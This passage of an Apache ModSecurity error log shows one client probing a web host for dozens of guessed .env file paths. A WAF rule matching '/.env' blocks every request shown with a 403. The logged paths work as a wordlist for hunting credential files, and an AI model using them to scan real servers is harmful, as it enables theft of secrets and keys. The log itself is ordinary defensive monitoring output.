[Wed Feb 25 06:04:55.693833 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hwAAAAE&quot;]
[Wed Feb 25 06:04:55.694043 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hwAAAAE&quot;]
[Wed Feb 25 06:04:55.735703 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cmd/testdata/expected/dot_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzgAAAAY&quot;]
[Wed Feb 25 06:04:55.735983 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzgAAAAY&quot;]
[Wed Feb 25 06:04:55.736180 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzgAAAAY&quot;]
[Wed Feb 25 06:04:55.757386 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back-end/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19iAAAAAE&quot;]
[Wed Feb 25 06:04:55.757656 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19iAAAAAE&quot;]
[Wed Feb 25 06:04:55.757880 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19iAAAAAE&quot;]
[Wed Feb 25 06:04:55.805422 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzwAAAAY&quot;]
[Wed Feb 25 06:04:55.805704 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzwAAAAY&quot;]
[Wed Feb 25 06:04:55.805893 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzwAAAAY&quot;]
[Wed Feb 25 06:04:55.818860 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19iQAAAAE&quot;]
[Wed Feb 25 06:04:55.819134 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19iQAAAAE&quot;]
[Wed Feb 25 06:04:55.819324 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19iQAAAAE&quot;]
[Wed Feb 25 06:04:55.875511 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0AAAAAY&quot;]
[Wed Feb 25 06:04:55.875816 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0AAAAAY&quot;]
[Wed Feb 25 06:04:55.876003 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0AAAAAY&quot;]
[Wed Feb 25 06:04:55.880214 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19igAAAAE&quot;]
[Wed Feb 25 06:04:55.880486 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19igAAAAE&quot;]
[Wed Feb 25 06:04:55.880700 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19igAAAAE&quot;]
[Wed Feb 25 06:04:55.900523 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codegolf.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0QAAAAY&quot;]
[Wed Feb 25 06:04:55.900795 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0QAAAAY&quot;]
[Wed Feb 25 06:04:55.900961 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0QAAAAY&quot;]
[Wed Feb 25 06:04:55.999841 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codenames-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0gAAAAY&quot;]
[Wed Feb 25 06:04:56.000127 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0gAAAAY&quot;]
[Wed Feb 25 06:04:56.000316 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZ0gAAAAY&quot;]
[Wed Feb 25 06:04:56.056046 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ6C-Cn6hL63qXWzsp19iwAAAAE&quot;]
[Wed Feb 25 06:04:56.056326 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ6C-Cn6hL63qXWzsp19iwAAAAE&quot;]
[Wed Feb 25 06:04:56.056513 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/config/.env&quot;] [unique_id &quot;aZ6C-Cn6hL63qXWzsp19iwAAAAE&quot;]
[Wed Feb 25 06:04:56.080742 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collab-connect-web-application/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ0wAAAAY&quot;]
[Wed Feb 25 06:04:56.081038 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ0wAAAAY&quot;]
[Wed Feb 25 06:04:56.081234 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ6C-PjNQqDNAmB2zjqZ0wAAAAY&quot;]
[Wed Feb 25 06:04:56.159048 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collected_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id 